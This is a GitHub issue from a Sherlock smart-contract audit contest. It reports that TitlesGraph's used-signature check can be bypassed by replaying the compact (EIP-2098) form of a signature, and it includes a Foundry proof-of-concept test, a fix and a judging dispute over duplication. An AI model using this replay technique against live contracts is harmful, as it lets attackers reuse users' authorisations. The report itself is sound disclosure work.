sherlock-audit / 2024-04-titles-judging

1 stars 1 forks source link

ZdravkoHr. - `TitlesGraph` signatures are replayable because of a compact signature vulnerability #369

Closed sherlock-admin4 closed 2 months ago

sherlock-admin4 commented 2 months ago

ZdravkoHr.

medium

TitlesGraph signatures are replayable because of a compact signature vulnerability

Summary

The TitlesGraph contract is vulnerable to compact signature replayability. Because of this, any party can execute an already used signature for a second time.

Vulnerability Detail

Ethereum signatures are 65 bytes long and consist of (r, s, v). EIP-2098 introduces the idea of compact signatures, where the signatures become 64 bytes long instead and are in the form (r, v, s), where the first byte of the original s value is cut because it's always zero. TitlesGraph uses SignatureCheckerLib which supports both normal and compact signatures.

The TitlesGraph contract hashes a signature and records it in the _isUsed mapping to ensure the same signature cannot be used twice. However, anyone can pass the compact version of the signature and bypass this check, because the resulting hash will be different from what is saved in the mapping.

    modifier checkSignature(bytes32 edgeId, bytes calldata data, bytes calldata signature) {
        bytes32 digest = _hashTypedData(keccak256(abi.encode(ACK_TYPEHASH, edgeId, data)));
        if (
            !edges[edgeId].to.creator.target.isValidSignatureNowCalldata(digest, signature)
                || _isUsed[keccak256(signature)]
        ) {
            revert Unauthorized();
        }
        _;
        _isUsed[keccak256(signature)] = true;
    }

Here is a coded PoC in Foundry that demonstrates how an user (Alice) acknowledges an edge via signature. After that Alice changes her mind and unacknowledges the edge. Since the contract accepts compact signatures, anyone can use it to acknowledge the edge again.

NOTE: For simplicity, the following function has to be added to TitlesGraph before running the PoC.

    function hashTypedData(bytes32 structHash) public view virtual returns (bytes32 digest) {
        return _hashTypedData(structHash);
    }

The actual test to be run in TitlesCore.t.sol

    function test_short_signature_vulnerability() public {
        bytes32 ACK_TYPEHASH = keccak256("Ack(bytes32 edgeId,bytes data)");
        (address alice, uint256 alicePk) = makeAddrAndKey("alice");

        Node memory fromNode = Node({
            nodeType: NodeType.COLLECTION_ERC1155,
            entity: Target({target: address(this), chainId: block.chainid}),
            creator: Target({target: address(2), chainId: block.chainid}),
            data: ""
        });

        Node memory toNode = Node({
            nodeType: NodeType.TOKEN_ERC1155,
            entity: Target({target: address(3), chainId: block.chainid}),
            creator: Target({target: alice, chainId: block.chainid}),
            data: bytes(
                hex"000000000000000000000000000000000000000000000000000000000000002a"
            )
        });

        Edge memory edge = titlesGraph.createEdge(fromNode, toNode, "");

        bytes32 edgeId = keccak256(abi.encode(fromNode, toNode));
        bytes memory data = hex"";
        bytes32 digest = titlesGraph.hashTypedData(
            keccak256(abi.encode(ACK_TYPEHASH, edgeId, data))
        );

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePk, digest);
        bytes memory signature = abi.encodePacked(r, s, v);

        edge = titlesGraph.acknowledgeEdge(edgeId, data, signature);
        assertTrue(edge.acknowledged);

        vm.prank(alice);
        edge = titlesGraph.unacknowledgeEdge(edgeId, data);
        assertFalse(edge.acknowledged);

        // Ideally, the first byte of s has to be cut, but it works for this case, because the v value is 27
        signature = abi.encodePacked(r, s);

        // Anyone can use the compact version of the signature to use it again
        edge = titlesGraph.acknowledgeEdge(edgeId, data, signature);
        assertTrue(edge.acknowledged);
    }

Impact

For each valid signature, there exists a valid compact signature that anyone can use to replay the original signature.

Code Snippet

                if eq(mload(signature), 64) {
                    let vs := mload(add(signature, 0x40))
                    mstore(0x20, add(shr(255, vs), 27)) // `v`.
                    mstore(0x60, shr(1, shl(1, vs))) // `s`.
                    let t :=
                        staticcall(
                            gas(), // Amount of gas left for the transaction.
                            1, // Address of `ecrecover`.
                            0x00, // Start of input.
                            0x80, // Size of input.
                            0x01, // Start of output.
                            0x20 // Size of output.
                        )
                    // `returndatasize()` will be `0x20` upon success, and `0x00` otherwise.
                    if iszero(or(iszero(returndatasize()), xor(signer, mload(t)))) {
                        isValid := 1
                        mstore(0x60, 0) // Restore the zero slot.
                        mstore(0x40, m) // Restore the free memory pointer.
                        break
                    }
                }

https://github.com/sherlock-audit/2024-04-titles/blob/d7f60952df22da00b772db5d3a8272a988546089/wallflower-contract-v2/src/graph/TitlesGraph.sol#L40C1-L50C6 https://github.com/Vectorized/solady/blob/91d5f64b39a4d20a3ce1b5e985103b8ea4dc1cfc/src/utils/SignatureCheckerLib.sol#L44-L64

Tool used

Foundry

Recommendation

A possible solution may be the following change in the hashing step:

  1. Check if the signature is 64 bytes long and if so, just hash it.
  2. If the signature is 65 bytes long, convert to a compact one and hash it instead of the original one.

Duplicate of #279

ZdravkoHr commented 1 month ago

Escalate

This should be a separate issue, since it talks about compact signatures, have nothing to do with #273

sherlock-admin3 commented 1 month ago

Escalate

This should be a separate issue, since it talks about compact signatures, have nothing to do with #273

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

WangSecurity commented 1 month ago

Agree with the escalation, planning to accept and duplicate with #279

ZdravkoHr commented 1 month ago

@WangSecurity, please review this escalation. It is not a duplicate of #279, but a different family instead. The problem described is not malleability. It's replayability caused by using the compact version of an already used signature

WangSecurity commented 1 month ago

@ZdravkoHr correct if I'm wrong, but this issue can be mitigated if we use a hash of the signed data and put it intoisUsed modifier instead of a hash of the signature?

ZdravkoHr commented 1 month ago

@WangSecurity , I think that's correct

WangSecurity commented 1 month ago

Then, I believe two reports (this one and #279) identify the same core issue -> the users are able to use another signature for the same message, the impacts are also the same -> the user can acknowledge an edge again, and the fix is also the same -> use the hash of signed data rather than the hash of signature. With that, I believe it should be duplicated with #279

Planning to accept the escalation and duplicate the issue with #279

ZdravkoHr commented 1 month ago

@WangSecurity, i believe the root cause is different. Both issues show how a signature can be used twice, but if you theoretically don't fix these issues, each signature can be used 4 times

WangSecurity commented 1 month ago

But both of them are fixed if the hash of signed data is used as you agreed above. And what do you mean by core issue is different? As I understand, in both issues it's "it is possible to produce another valid signature for the same message", but please correct me if I'm missing something. I see that your report is about compact signature, while the #279 is about regular signature. But, as I see it, both of these lead to the same core issue.

ZdravkoHr commented 1 month ago

Yeah, the impact is the same, but in #279 the reason is that the signature is malleable. In this issue the replayability doesn't come from this malleability, but because the contract will accept both the compact and standard version.

For example, if the underlying code had checks for the s value of the signature, so it's not malleable, this issue would still have been possible. That's what I meant by saying that each of these issues show how a signature can be used twice, but if you leave them not fixed, when you combine them, you can use one signature not twice, but 4 times.

WangSecurity commented 1 month ago

I agree with your thoughts, but still this issues lead to the same impact of being able to acknowledge an edge more than once and the impact is the same as well (I understand that there are several possible fixes and checks for s value wouldn't fix the problem with compact signature, but using the hash of signed data would prevent both). Moreover, I see the root issue here is that the user is able to create another signature for the same message (be that compact signature or not), therefore, I believe it should be a duplicate. Hope for your understanding.

Decision remains the same, accept the escalation and duplicate with #279

ZdravkoHr commented 1 month ago

Okay, @WangSecurity. Thanks for discussing!

WangSecurity commented 1 month ago

and thank you for that calm and thoughtful discussion @ZdravkoHr

Evert0x commented 1 month ago

Result: Medium Duplicate of #279

sherlock-admin4 commented 1 month ago

Escalations have been resolved successfully!

Escalation status: